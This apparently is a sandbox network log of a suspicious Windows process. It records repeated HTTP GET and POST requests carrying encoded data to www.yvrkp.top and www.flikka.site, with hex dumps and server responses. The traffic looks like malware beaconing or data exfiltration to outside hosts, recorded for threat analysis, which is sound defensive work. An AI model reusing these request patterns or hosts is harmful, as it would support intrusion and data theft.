q4ZH8jHRi/L3A6WvCRms3shMMvMrx9r2dhRxHjb924N8yRu5qlc3nTv49VBLpNWgFYdC4ROFRXx9tWT/80xbZDPV2vj/+KKudnyM/qYkQr5jY8a9N7STGJFaOauAjnt2AnaullCmpFGZ47M3tHajZp6L/aFO8h9ygy4rA5Wdo/Ert4T1rhktXw7p3iT [TRUNCATED]
Nov 7, 2024 10:51:22.672544956 CET	1734	OUT	Data Raw: 6b 58 65 43 35 46 72 62 36 71 2f 73 72 4b 57 79 6d 36 78 47 62 32 63 32 6a 50 57 76 34 71 32 73 66 6e 38 68 47 6e 61 49 6d 45 32 2b 6f 33 4d 6e 72 37 70 4c 48 55 64 7a 37 51 2b 2f 39 79 7a 31 4b 55 35 67 6b 64 48 63 52 63 4d 77 6d 43 77 5a 6f 7a Data Ascii: kXeC5Frb6q/srKWym6xGb2c2jPWv4q2sfn8hGnaImE2+o3Mnr7pLHUdz7Q+/9yz1KU5gkdHcRcMwmCwZozy3iTb2jS91DWyiphges1jP3xkc+I6SKTcCVtjNFBblST/2yqxKi1qBQVINf2JkisQWvwpzDIB1Pu8dFPNMgvmgPJjpIP9BvnP3GkCCGG0VX7Qk/Pb3YWBETtLpIigVWZvCHvuvUP0Vp7snmfmK3fR8zij21pthW7O
Nov 7, 2024 10:51:23.811223030 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 09:51:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: private X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Frame-Options: SAMEORIGIN Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, needToken,method, Authorization cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hl9LqMUWiRc%2F%2BqBgVDKgXK9z3uStNxzZqaFUs3Uq6tIQqc3HqkCizXVL%2FMsPTPDHOgAfRz2X4OXDPXSPenWF7h8RqdypxIPMO44usVyoaPLfIK1kGAO%2Bzn5n1UDoQfl%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dec6ca9ed276b0a-DFW Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1728&sent=3&recv=6&lost=0&retrans=0&sent_bytes=0&recv_bytes=4206&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 35 37 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 c4 58 4d 6f db 46 10 3d db 80 ff c3 86 41 91 04 e8 8a b2 1c 37 09 23 19 4d 1d bb 4d 3f f2 81 d8 45 7b 32 46 e4 48 5c 6b b9 cb ec 2e 29 cb 41 80 1e 0b 14 3d e4 92 a2 40 7a 68 0f 3d f5 da 5b d1 7f 13 03 f9 17 c5 92 94 bc 94 28 db 45 9c 56 17 92 b3 fb de cc be 99 9d 25 d5 bd 72 ff d1 f6 de b7 8f 77 48 6c 12 be b5 b6 da b5 57 12 72 d0 ba e7 1d 6a 12 6a 0d 82 25 60 98 14 da db 5a 5b 5d e9 c6 08 91 9d 99 a0 01 12 1b 93 52 7c 96 b1 bc e7 6d 4b 61 50 18 ba 37 49 d1 23 61 f9 d4 f3 0c 1e 19 df d2 de 25 61 0c 4a a3 e9 ed ef ed d2 db 96 8d 90 45 9a 6f e8 fe 3d ba 2d 93 14 0c eb 73 97 e9 c1 4e 0f a3 21 ba 40 01 09 f6 bc 08 75 a8 58 6a 83 74 a6 2f ce 1b e1 64 2c 55 a4 cf 9c 94 33 1c a7 52 19 67 d2 98 45 Data Ascii: 57bXMoF=A7#MM?E{2FH\k.)A=@zh=[(EV%rwHlWrjj%`Z[]R\|mKaP7I#a%aJEo=-sN!@uXjt/d,U3RgE
Nov 7, 2024 10:51:23.811250925 CET	1162	IN	Data Raw: 26 ee 45 98 b3 10 69 f1 f0 21 61 82 19 06 9c ea 10 38 f6 d6 2b 1e c3 0c c7 ad 4f bf fe 7c ef 93 9d a7 7b 5d bf 7c 5e 5b 9d 77 a2 50 44 a8 50 b9 4e b0 3f 62 c6 ab 4d ae c9 0b 61 8c d4 8a ac 24 77 70 42 52 cd 0c 42 9a 2e ae 25 91 7d c6 91 8e b1 4f Data Ascii: &Ei!a8+O\|{]\|^[wPDPN?bMa$wpBRB.%}O!Mi)%4H/V0}PTI!]KoV%x(cQa:[pw{s/l\|?Vtq\|Em:p&FD!yj:F41}
Nov 7, 2024 10:51:24.004609108 CET	1236	IN	Data Raw: 36 37 36 0d 0a dc 5b cd 73 d3 46 14 bf 33 c3 ff e0 31 df 69 15 ed ae a4 95 e4 50 5f 7a e8 a9 4c 0f e9 89 61 3c b2 3e 1a 83 13 7b 2c 9b 09 87 ce 24 4d 93 09 65 68 4a 20 7c 84 d0 21 94 29 30 01 43 68 9a 84 09 86 7f 26 b2 ec 13 ff 42 47 d2 ae bc b2 Data Ascii: 676[sF31iP_zLa<>{,$MehJ \|!)0Ch&BG!v~}kXNMouK6>vh<{P=i9f%t9_Z(\T(w-,`#,H,5`80ne2
Nov 7, 2024 10:51:24.004646063 CET	425	IN	Data Raw: 0c fa 80 04 50 79 a8 92 16 54 21 10 65 20 a9 0a 8e 87 84 bb f2 da a9 ad d7 ff 5a ec 11 09 b0 07 0e 9f d1 1d c4 03 e0 0e a2 24 43 01 2a 08 c7 03 61 ed 95 fb 7c ca fd 7d c7 5d 9c a9 df 7b 3e a0 e1 09 0a 07 20 3c 01 04 44 0c 62 2e dc f5 ed d9 fa c6 Data Ascii: PyT!e Z$C*a\|}]{> <Db.-g~k@PPf@Yl=<'"O@!cBCW7O:W^\|&/^U%J\]mN-;/+K'v@cVQ/v9w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.22	49182	104.21.14.183	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:51:25.199760914 CET	527	OUT	GET /9jdk/?mFptYb=WubzzLgyg7H8FuUk5jz2rAc/vuKAZBsVZD6HlZkF1Lv4/cTJ30fLMnj/fJn75AU89YfOY1B4b6fbf9/30+RUdxRnQcqHHPG8fsTR2djr0+RxMWff6QI0kTzUoO97&Vta=nFypuDtholF HTTP/1.1 Host: www.yvrkp.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 7, 2024 10:51:26.416253090 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 09:51:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: private X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Frame-Options: SAMEORIGIN Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, needToken,method, Authorization cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JB0dokdK71Hstt1sonvW2MTED9boFAhLrpEYP7LINJR2SPA7DsTa4ofhX6AljAoL6thG1SNEU%2BAkgFyc%2BFOTBzrzL6Jc%2BvLWW4WXFNA%2BG4cD1kM3IptNp%2BCArtAZHfak"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dec6cb9df25486e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1680&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=527&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 33 30 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6a 73 20 63 73 73 61 6e 69 6d 61 74 69 6f 6e 73 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0d 0a 20 20 3c 6d 65 Data Ascii: 130d<!DOCTYPE html><html class="js cssanimations"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="description" content=""> <meta name="keywords" content=""> <me
Nov 7, 2024 10:51:26.416285038 CET	1236	IN	Data Raw: 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 3c 74 69 74 6c 65 3e 47 56 4a 54 42 45 Data Ascii: ta name="viewport" content="width=device-width, initial-scale=1"> <title>GVJTBEST</title> <meta name="renderer" content="webkit"> <meta http-equiv="Cache-Control" content="no-siteapp"> <meta name="mobile-web-app-capable" conten
Nov 7, 2024 10:51:26.416296005 CET	1236	IN	Data Raw: 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 7a 79 2d 74 77 2e 6f 73 73 2d 61 63 63 65 6c 65 72 61 74 65 2e 61 6c 69 79 75 6e 63 73 2e 63 6f 6d 2f 2f 74 65 6d 70 6c 61 74 65 73 2f Data Ascii: "></script> <script src="https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/app.js"></script><style type="text/css"> .cus-header { position: fixed; top: 0; z-index: 6; height: 49px;
Nov 7, 2024 10:51:26.416306973 CET	1236	IN	Data Raw: 68 69 64 64 65 6e 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 61 6d 2d 68 65 61 64 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20 30 3b 0d 0a 20 20 20 Data Ascii: hidden; } .am-header { position: fixed; top: 0; z-index: 10; height: 49px; line-height: 49px; padding: 0 10px; } .am-header-default { background-color: #fff
Nov 7, 2024 10:51:26.416321039 CET	904	IN	Data Raw: 73 73 3d 22 63 61 6e 76 69 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 69 63 6f 6e 2d 77 72 61 70 70 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 7a 79 2d 74 77 Data Ascii: ss="canvi-navigation__icon-wrapper"> <img src="https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/home.png" alt="" style="width: 30px;"> </span> <span class="canvi-navigation_
Nov 7, 2024 10:51:26.598679066 CET	1236	IN	Data Raw: 32 35 35 37 0d 0a e7 89 a9 e6 b5 81 e6 a2 9d e6 ac be 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 09 09 09 20 3c 6c 69 3e 20 3c 61 20 68 72 65 66 3d 22 2f 61 62 6f 75 74 2f 74 68 2e 68 74 6d 6c 22 3e e9 80 80 e6 8f 9b e6 94 bf e7 ad 96 3c 2f 61 3e 3c 2f 6c Data Ascii: 2557</a></li> <li> <a href="/about/th.html"></a></li> <li> <a href="/about/ys.html"></a></li> <li> <a href="/about/lxwm.html"></a></li> </ul>
Nov 7, 2024 10:51:26.598691940 CET	212	IN	Data Raw: 8d e5 8b 99 e6 99 82 e9 96 93 ef bc 9a 28 55 54 43 2f 47 4d 54 2b 30 38 3a 30 30 29 3c 62 72 3e 39 3a 30 30 2d 31 38 3a 30 30 3c 2f 73 70 61 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f Data Ascii: (UTC/GMT+08:00)<br>9:00-18:00</span> </span> </li> </ul> <div style="border-bottom: 1px dashed #dcdcdc;"></div></aside><div class="cus-header"> <span cl
Nov 7, 2024 10:51:26.598717928 CET	1236	IN	Data Raw: 61 73 73 3d 22 6a 73 2d 63 61 6e 76 69 2d 6f 70 65 6e 2d 62 75 74 74 6f 6e 2d 2d 6c 65 66 74 20 63 75 73 2d 68 65 61 64 65 72 2d 6c 65 66 74 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6c 7a 79 2d 74 77 2e 6f 73 73 2d 61 63 63 65 Data Ascii: ass="js-canvi-open-button--left cus-header-left"><img src="https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/menu.png" alt=""></span> <span class="cus-header-mid" style="color:black;font-weight:bold;">GVJTBEST </span>
Nov 7, 2024 10:51:26.598731041 CET	1236	IN	Data Raw: 0a 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 37 35 25 3b 0d 0a 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 Data Ascii: flex-direction: column; height: 75%; justify-content: center; align-items: center; /overflow: hidden;/ /flex-shrink:0;/}.sp_img img { width: auto; height: auto; max-width: 94%; max-he
Nov 7, 2024 10:51:26.598742008 CET	1236	IN	Data Raw: 6c 61 73 73 3d 27 73 70 5f 70 72 69 63 65 27 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 4e 54 24 39 39 38 2e 30 30 26 6e 62 73 70 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 65 6c 3e 4e 54 24 31 30 30 30 2e 30 30 3c 2f 64 65 6c 3e 0d 0a Data Ascii: lass='sp_price'> NT$998.00  <del>NT$1000.00</del> </div> </a> <a class="search_product" href="/cp/9816.html"> <div class='sp_img'> <img src="https://lzy-tw.oss-
Nov 7, 2024 10:51:26.599497080 CET	1236	IN	Data Raw: 39 39 38 2e 30 30 26 6e 62 73 70 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 65 6c 3e 4e 54 24 31 30 30 30 2e 30 30 3c 2f 64 65 6c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 0d 0a 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 Data Ascii: 998.00  <del>NT$1000.00</del> </div> </a> <a class="search_product" href="/cp/9906.html"> <div class='sp_img'> <img src="https://lzy-tw.oss-accelerate.aliyuncs.com/upload/20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.22	49183	67.223.117.142	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:51:31.891536951 CET	2472	OUT	POST /brrb/ HTTP/1.1 Host: www.flikka.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.flikka.site Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 2163 Referer: http://www.flikka.site/brrb/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 43 77 30 5a 79 30 4c 56 42 4d 37 39 43 66 42 5a 63 33 4a 6d 72 70 45 6a 79 4c 53 61 4b 67 4a 43 35 35 49 61 51 76 2f 62 63 47 53 59 67 4d 62 48 54 38 39 55 77 67 58 48 72 74 52 43 4c 44 6d 57 50 70 66 6b 6d 33 59 46 59 75 74 6a 73 2b 6e 45 69 33 68 6e 59 52 59 6d 51 30 54 39 76 6f 4c 43 55 53 35 35 55 6b 52 32 57 6a 62 44 34 51 47 45 53 59 52 45 32 2f 7a 6c 53 4c 79 2b 6e 69 6a 54 36 6d 44 58 4c 6a 78 48 53 77 64 6a 5a 35 6f 34 65 6f 56 66 6a 33 6e 53 35 36 4f 2f 34 43 69 79 46 50 30 71 32 78 37 4a 79 5a 62 64 57 35 4d 50 76 72 51 55 74 4e 78 69 6c 4f 62 55 6a 7a 4b 63 70 37 50 73 7a 2b 34 67 70 55 34 31 53 70 4e 71 42 35 37 2f 69 39 73 61 58 6d 74 4d 72 75 37 30 75 4a 52 2b 4f 56 57 69 2f 34 6b 56 4b 62 66 67 32 47 6c 44 6d 56 79 52 59 6b 68 30 38 2b 48 6c 2b 53 6d 35 34 71 33 79 54 66 4e 46 6b 42 73 58 58 53 79 2b 73 73 50 64 42 49 64 55 73 43 67 4b 45 35 7a 4d 57 58 44 48 31 2b 77 45 66 56 48 70 39 58 4e 38 7a 31 51 67 73 65 57 49 5a 41 64 5a 61 71 67 4a 66 57 76 2b 7a 47 71 [TRUNCATED] Data Ascii: mFptYb=Cw0Zy0LVBM79CfBZc3JmrpEjyLSaKgJC55IaQv/bcGSYgMbHT89UwgXHrtRCLDmWPpfkm3YFYutjs+nEi3hnYRYmQ0T9voLCUS55UkR2WjbD4QGESYRE2/zlSLy+nijT6mDXLjxHSwdjZ5o4eoVfj3nS56O/4CiyFP0q2x7JyZbdW5MPvrQUtNxilObUjzKcp7Psz+4gpU41SpNqB57/i9saXmtMru70uJR+OVWi/4kVKbfg2GlDmVyRYkh08+Hl+Sm54q3yTfNFkBsXXSy+ssPdBIdUsCgKE5zMWXDH1+wEfVHp9XN8z1QgseWIZAdZaqgJfWv+zGqYJptZZTnm5P9nw/2LoF3BhEbkWo9LRb1aZXtk5QfMDY7SZ6NUfmSYfm6Sf7AMBiOtvGH0pYDR0iOsBVLthgPgzhdKFhuG7qJ2JeihSKsdrdmzcuvAsQDE+bcfsT/5OCtKflBE/3O9T9sZSvfm3OAcHRWu+11u9Mc0KxB+4B0OltipleNE8a6zonVQNBAmuAwP3eGPj9mdUeEnynYRmz+0yFu70GQXiZkMJXAgn4D7nHPLqbSSYwcDyC5AVm/nwHXX/zSB9U9R6b6FWw+p8sUibeJ9ozKzFVEzbhvrQcy/uUc5EGCIykBWPneOwbCWdRXyP2UyFaX8jE2F2yPMMgw1mLLQEbyr1lbSav2ozMHIe0dbtjHdPNfIYTimJECY/PplfJKXXYqV20yj/aQgwsPyhSc7QMkeDovwPlZFmv4CKjFlEysIU+seeei774jaHPTLJWsccTHkqU3UrkD/G0FmnDMJP4j6jVwwiug8zxFbg5SP16xfpwE8oHsNG7zmwwZhyrcrEWBB18DKt4tiFpf/NPJuH+A+8wIcTeOKIOtRK3hg22PNFp9UMPj9mTBGxJ5tr0bVFth/ojI5HmFHTGBRZQXM4KuSo+896ptnOGUzfPLZZNUG5EeklsxtXbrMOANXUtnrFdAIP4BISuac1To/SgB5sNa9kGG3B [TRUNCATED]
Nov 7, 2024 10:51:31.896534920 CET	276	OUT	Data Raw: 44 34 32 32 62 4b 38 6b 50 37 4b 39 69 6d 2f 38 31 4b 4c 62 2f 66 6b 68 5a 6c 34 4e 41 6c 42 4b 6e 39 6d 77 44 53 79 73 31 62 41 4f 53 42 4a 75 72 31 4d 35 75 65 38 62 66 32 42 57 69 2b 74 50 4b 77 5a 51 44 66 4a 62 79 34 6b 37 71 55 35 30 65 78 Data Ascii: D422bK8kP7K9im/81KLb/fkhZl4NAlBKn9mwDSys1bAOSBJur1M5ue8bf2BWi+tPKwZQDfJby4k7qU50exFZEmcclrtHJ0jOyJIKICGub06q1jI5vYF0++mELn9BYvY4p0vBqHUZdGn0CygNR8sZ61sTvQKOgd7Ym/0akUmOQcgfDE27kdejsg0EDOPmwkWUG+cCm8mBfL03gMADqn67JDzmMcC+UKyq52gidCHxYMjRJnfstX1
Nov 7, 2024 10:51:32.590548992 CET	533	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 09:51:32 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.22	49184	67.223.117.142	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:51:34.438261986 CET	787	OUT	POST /brrb/ HTTP/1.1 Host: www.flikka.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.flikka.site Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Referer: http://www.flikka.site/brrb/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 43 77 30 5a 79 30 4c 56 42 4d 37 39 43 63 70 5a 64 6c 68 6d 36 35 45 6a 69 62 53 61 41 41 4a 45 35 35 46 74 51 71 48 31 64 31 79 59 67 5a 6e 48 53 4f 6c 55 78 67 58 47 67 4e 52 47 45 6a 6d 6d 50 70 65 61 6d 32 6b 46 59 75 70 6a 74 62 6a 45 67 79 42 6b 61 68 59 6f 46 6b 54 47 76 70 32 70 55 53 31 54 55 6b 70 32 57 69 6e 44 2f 51 57 45 58 36 35 45 7a 50 79 75 55 4c 79 70 6e 69 6d 5a 36 6d 54 66 4c 6a 4e 48 54 42 78 6a 5a 6f 49 34 61 2f 4a 66 32 48 6e 66 69 4b 50 59 34 43 37 5a 4c 4d 63 67 7a 77 4c 41 73 36 4f 37 4c 2b 77 54 32 49 73 30 6a 2b 39 38 76 71 75 78 71 48 6a 71 30 77 3d 3d Data Ascii: mFptYb=Cw0Zy0LVBM79CcpZdlhm65EjibSaAAJE55FtQqH1d1yYgZnHSOlUxgXGgNRGEjmmPpeam2kFYupjtbjEgyBkahYoFkTGvp2pUS1TUkp2WinD/QWEX65EzPyuULypnimZ6mTfLjNHTBxjZoI4a/Jf2HnfiKPY4C7ZLMcgzwLAs6O7L+wT2Is0j+98vquxqHjq0w==
Nov 7, 2024 10:51:35.119466066 CET	533	IN	HTTP/1.1 404 Not Found Date: Thu, 07 Nov 2024 09:51:35 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.22	49185	67.223.117.142	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:51:36.981237888 CET	2472	OUT	POST /brrb/ HTTP/1.1 Host: www.flikka.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.flikka.site Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 3627 Referer: http://www.flikka.site/brrb/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 43 77 30 5a 79 30 4c 56 42 4d 37 39 44 39 5a 5a 59 43 56 6d 71 70 45 6b 74 37 53 61 4b 67 4a 41 35 35 4a 74 51 76 2f 62 63 48 65 59 67 4f 44 48 54 73 39 55 69 77 58 47 6f 74 52 43 4c 44 6e 6b 50 70 4c 30 6d 33 55 56 59 6f 78 6a 73 39 2f 45 69 78 70 6e 4f 42 59 6d 53 30 54 46 76 70 32 38 55 53 6c 74 55 6e 46 49 57 6d 44 44 34 6a 2b 45 43 36 35 48 38 76 79 75 55 4c 79 62 6e 69 6e 41 36 6d 62 48 4c 69 45 61 53 32 4a 6a 5a 4a 6f 34 59 59 56 59 68 33 6e 54 39 36 4f 78 34 43 65 44 46 50 30 75 32 78 76 77 79 5a 58 64 45 38 51 50 76 6f 34 62 69 39 78 68 